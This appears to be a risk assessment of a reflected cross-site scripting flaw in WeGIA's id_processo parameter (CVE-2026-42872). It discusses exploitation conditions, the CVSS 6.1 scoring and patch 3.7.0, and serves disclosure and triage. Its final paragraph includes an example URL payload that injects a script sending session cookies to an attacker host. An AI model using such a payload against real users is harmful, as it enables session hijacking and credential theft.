WeGIA CVE-2026-42872

The vulnerability requires the id_processo parameter to be directly reflected in the HTML response without sanitization. Exploitation requires user interaction: the victim must click a crafted link while authenticated to WeGIA (or the attacker exploits a pre-authenticated session). The vulnerability does NOT require special configuration - it affects default installations. Exploitation is limited by browser same-origin policy (XSS cannot directly read cross-origin cookies unless SameSite is not enforced) and requires the victim to be logged into the WeGIA application. Older browsers without modern CSP or XSS protections are at higher risk.

CVSS 6.1 with AV:N/AC:L/PR:N/UI:R/S:C reflects moderate real-world risk. The network attack vector and low complexity favor attackers; however, user interaction (clicking a malicious link) is a significant practical barrier. Scope change indicates the XSS impacts resources beyond the vulnerable component (e.g., session tokens, other users' data). The lack of authentication requirement (PR:N) is concerning but partially mitigated by the UI requirement. EPSS data is unavailable for comparison. No KEV status or public POC is confirmed in the input, suggesting either limited visibility or targeted rather than widespread exploitation. For organizations running WeGIA, the risk is elevated if users are targeted with phishing links, but risk is lower for passive adversaries without social engineering capability. The 3.7.0 patch availability significantly reduces risk for patched deployments.

An attacker crafts a malicious URL containing JavaScript payload in the id_processo parameter (e.g., lista_arquivos_etapa.php?id_processo=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) and sends it via phishing email to a WeGIA user. When the user clicks the link and is authenticated to WeGIA, the injected JavaScript executes in their browser, stealing session cookies or redirecting them to a fake login page to harvest credentials.